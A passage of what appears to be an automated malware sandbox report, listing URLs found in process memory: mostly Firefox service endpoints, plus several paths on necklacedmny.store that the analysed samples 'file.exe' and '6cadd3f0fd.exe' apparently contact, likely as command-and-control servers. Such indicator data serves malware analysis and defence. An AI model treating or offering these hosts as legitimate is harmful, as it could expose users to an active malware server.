Source: firefox.exe, 0000001B.00000003.2599955209.000001C172133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2755914976.000001C172139000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C17268F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000020.00000002.2722359273.000002B797086000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2744766730.000001C170CD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: file.exe, 00000000.00000003.1845555563.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store
Source: 6cadd3f0fd.exe, 00000009.00000003.2731093184.0000000000778000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2689945232.0000000001066000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2689945232.00000000010B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 6cadd3f0fd.exe, 0000000D.00000003.2689945232.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/9Sbqj
Source: 6cadd3f0fd.exe, 00000009.00000003.2556995492.000000000077E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/H
Source: 6cadd3f0fd.exe, 0000000D.00000003.2689945232.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/X
Source: 6cadd3f0fd.exe, 0000000D.00000003.2716729398.00000000010E0000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2658132730.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2689945232.000000000109D000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2628157062.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2604592172.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2628798588.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 6cadd3f0fd.exe, 00000009.00000003.2557653647.0000000000792000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2557372250.000000000078F000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2732085528.0000000000793000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2547569165.0000000000794000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api-
Source: 6cadd3f0fd.exe, 00000009.00000003.2732085528.0000000000793000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiA
Source: 6cadd3f0fd.exe, 0000000D.00000003.2688087863.00000000010E0000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2687309594.00000000010DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiF
Source: file.exe, 00000000.00000003.1845555563.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiI
Source: file.exe, 00000000.00000003.1844921816.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1845532345.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1845244184.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiOpjzCuI8nqza2hkp8xe/v7rM
Source: 6cadd3f0fd.exe, 0000000D.00000003.2628157062.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2628798588.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api_
Source: 6cadd3f0fd.exe, 0000000D.00000003.2628157062.00000000010C0000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2604592172.00000000010C7000.00000004.00000020.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2628798588.00000000010C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apidr
Source: 6cadd3f0fd.exe, 0000000D.00000003.2658132730.00000000010C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: file.exe, 00000000.00000003.1844921816.00000000011C8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1845532345.00000000011D3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1845244184.00000000011CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apix1P
Source: 6cadd3f0fd.exe, 0000000D.00000003.2689945232.0000000001066000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/za
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170DAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001B.00000003.2599955209.000001C172133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2755914976.000001C172139000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C17268F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 0000001B.00000003.2599955209.000001C172133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2742669039.000001C17097D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2755914976.000001C172139000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C17268F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjsisDownloadsImprovemen
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001B.00000002.2757990027.000001C1726D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comto-handle-default-browser-agent
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000003.2596897657.000001C174600000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/Unexpected
Source: firefox.exe, 0000001B.00000002.2744766730.000001C170CD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.comP
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2784200598.000001C175003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2784200598.000001C175003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B797012000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000003.2680870116.000001C1770FB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2785119034.000001C1752E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.2757990027.000001C172674000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2749174259.000001C171903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2722359273.000002B797086000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_BEFORE_CHANGE
Source: firefox.exe, 0000001B.00000002.2746480848.000001C170D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2780914101.000001C174E6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: file.exe, 00000000.00000003.1681259671.0000000005A6E000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 00000009.00000003.2454420514.00000000052D0000.00000004.00000800.00020000.00000000.sdmp, 6cadd3f0fd.exe, 0000000D.00000003.2583715092.00000000058B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001B.00000002.2733122243.000001C164C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001B.00000002.2754915187.000001C171E10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2723376989.0000015475EB0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2726881241.000002B7975A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
